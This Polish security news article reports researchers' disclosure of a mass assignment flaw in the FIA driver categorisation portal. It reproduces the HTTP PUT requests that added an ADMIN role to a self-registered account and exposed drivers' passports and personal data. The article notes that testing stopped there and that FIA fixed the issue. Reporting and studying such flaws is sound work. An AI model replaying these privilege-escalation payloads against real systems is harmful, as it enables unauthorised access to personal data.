Mega Sekurak Hacking Party w Krakowie! 26-27.10.2026 r.

Badaczom udało się zhakować Formułę 1 i “wykraść” paszport Verstappena

23 października 2025, 12:51 | W biegu | 0 komentarzy

Jedną z fajniejszych, z punktu widzenia pentestera, podatności (chociaż trochę niedoceniana) jest podatność masowego przypisania (mass assignment). Dzięki niej, możliwa jest zmiana np. pól obiektu, które nie powinny zostać zmienione. Powstaje najczęściej w wyniku błędnego użycia funkcjonalności np. biblioteki, która pozwala zmapować parametry zapytania do wewnętrznej reprezentacji obiektu w aplikacji. 


Na ten rodzaj podatności natrafiła bardzo dobrze znana trójka badaczy bezpieczeństwa, która po godzinach fascynuje się wyścigami królowej motorsportu. Sam Curry, Ian Carroll oraz Gal Nagli pokazali, jak w niespełna 10 minut mogli poznać treść rozmów pracowników organizacji FIA czy pobrać dokumenty takie jak paszport kierowców sportowych.

TLDR:

  • Sam Curry, Ian Carroll i Gal Nagli zhakowali Formułę 1 (a właściwie większość kierowców FIA).
  • Przez podatność w portalu do nadawania kategorii zawodnikom mogli uzyskać uprawnienia administratora.
  • Jako administratorzy (lub utożsamiając się z rolą pracowników FIA) mieli dostęp do poufnych informacji o kierowcach oraz dokumentów – takich jak paszporty. 
  • FIA zareagowała bardzo szybko i zdjęła podatny portal do czasu naprawienia podatności

Rysunek 1. Portal logowania do aplikacji FIA pozwalającej na uzyskanie kierowcom kategorii uprawniającej do startu (źródło)

Zainteresowani startami w wydarzeniach organizowanych pod egidą Fédération Internationale de l’Automobile, mogą ubiegać się o wymaganą kategorię w ogólnodostępnym portalu drivercategorisation[.]fia[.]com. Aplikacja wspiera self-registration, czyli każdy kierowca może sam założyć sobie konto, a następnie wgrywając odpowiednie dokumenty poprosić o wydanie kategorii uprawniającej do startu. Oczywiście F1 wymaga posiadania jeszcze Super Licencji wydawanej na podstawie innego zestawu wymagań (np. określonej liczby zgromadzonych punktów lub minimum przejechanego dystansu za “sterami” bolidu). Jednak jak podkreślają badacze, elitarni kierowcy pojawiają się również w portalu z kategoriami. Super Licencja daje z automatu platynową kategorię FIA. 

Każdy, kto ma konto w systeme dostępnym pod adresem drivercategorisation[.]fia[.]com może dokonać zmiany danych w profilu. Co zauważyli badacze, to fakt, że na proste zapytanie PUT, które aktualizowało pewne informacje o koncie, system zwracał dużo bogatszą odpowiedź, zawierającą dodatkowe pola. 

request:
PUT /api/users/12934 HTTP/1.1Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json

{  „id”: 12934,  „email”: „samwcurry@gmail.com”,  „firstName”: „Sam”,  „lastName”: „Curry”,  „nickName”: null}

response:
HTTP/1.1 200
Content-type: application/json
Content-Length: 313

{  „id”: 12934,  „email”: „samwcurry@gmail.com”,  „firstName”: „Sam”,  „lastName”: „Curry”,  „nickName”: null,  „keepNamePrivate”: false,  „nickName2”: null,  „birthDate”: „2000-02-17”,  „gender”: null,  „token”: null,  „roles”: null,  „country”: null,  „filters”: [],  „status”: „ACTIVATED”,  „secondaryEmail”: null}

Listing 1. Zapytanie i odpowiedź modyfikujące użytkownika (źródło)

Każdy pentester w tym momencie postanowi sprawdzić jedną rzecz – czy dodanie elementu odpowiedzi do zapytania (pary klucz:wartość) będzie skutkowało rzeczywistą zmianą tego parametru. Na podstawie analizy kodu JS, badacze odnaleźli dostępne role – ADMIN, DRIVER, MEMBER, REVISER, PRESIDENT, SENIOR_MEMBER i ACCOUNTANT. 

Rysunek 2. Fragment kodu JS zawierający dostępne role (źródło)

Na podstawie tej informacji udało się zbudować poprawne zapytanie i korzystając z podatności mass assignment – spowodować zmianę roli zarejestrowanego konta na administratora systemu. 

request:
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json

{  „id”: 12934,  „email”: „samwcurry@gmail.com”,  „firstName”: „Sam”,  „lastName”: „Curry”,  „nickName”: null,  „roles”: [    {      „id”: 1,      „description”: „ADMIN role”,      „name”: „ADMIN”    }  ]}

response:
HTTP/1.1 20
Content-type: application/json
Content-Length: 313

{  „id”: 12934,  „email”: „samwcurry@gmail.com”,  „firstName”: „Sam”,  „lastName”: „Curry”,  „nickName”: null,  „keepNamePrivate”: false,  „nickName2”: null,  „birthDate”: „1999-10-17”,  „gender”: null,  „token”: null,  „roles”: [    {      „id”: 1,      „description”: „ADMIN role”,      „name”: „ADMIN”    }  ],  „country”: null,  „filters”: [],  „status”: „ACTIVATED”,  „secondaryEmail”: null}

Listing 2. Zapytanie nadpisujące role użytkownika (źródło)

Ponowne zalogowanie pozwoliło na uzyskanie nowej sesji wraz z nowymi uprawnieniami. 

Rysunek 3. Panel administratora w portalu FIA (źródło)

Testując znalezisko, badacze natrafili na informacje osobiste takie jak numer telefonu, paszport, CV czy kryptograficzny skrót (hash) hasła (sic!). Ponadto mogli poznać cały proces kategoryzacji kierowców oraz wewnętrzną komunikację pracowników FIA. 

Rysunek 4. Widok pokazujący proces kategoryzacji kierowcy (źródło)

Na jednym z widoków możliwe było pobranie plików. Część z nich sugerowała, że zawiera dokumenty zawodnika – w tym przypadku kierowcy Maxa Verstappena. 

Rysunek 5. Dokumenty dostępne do pobrania (źródło)

Zgodnie z etyką tego typu testów, był to moment, w którym dalsze testy zostały zaniechane. Badacze podkreślają, że nie pobrali żadnych dokumentów, które mogłyby zawierać poufne informacje o kierowcach. Uczulamy naszych zdolnych Czytelników, że jest to jedyna poprawna postawa w takiej sytuacji. 

Zgodnie z udostępnioną przez badaczy rozpiską – FIA zdjęła stronę jeszcze tego samego dnia, aby w spokoju przeanalizować problem i go naprawić. Pochwalamy szybką reakcję, która mogła uchronić dane kierowców przed wyciekiem. 

Podatność typu mass assignment nie należy do rzadkości, dlatego jej znajomość powinna należeć do arsenału każdego pentestera. Z pozoru niewielka możliwość zmiany pola obiektu, może prowadzić do wielu poważnych konsekwencji – np. podniesienia uprawnień. Zainteresowanych odsyłamy do materiałów Portswiggera, badaczom gratulujemy ciekawej podatności, a FIA winszujemy czasu reakcji na zgłoszenie godnego F1. Aż chce się zanucić znany hit F1 o Maxie. 

~Black Hat Logan

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz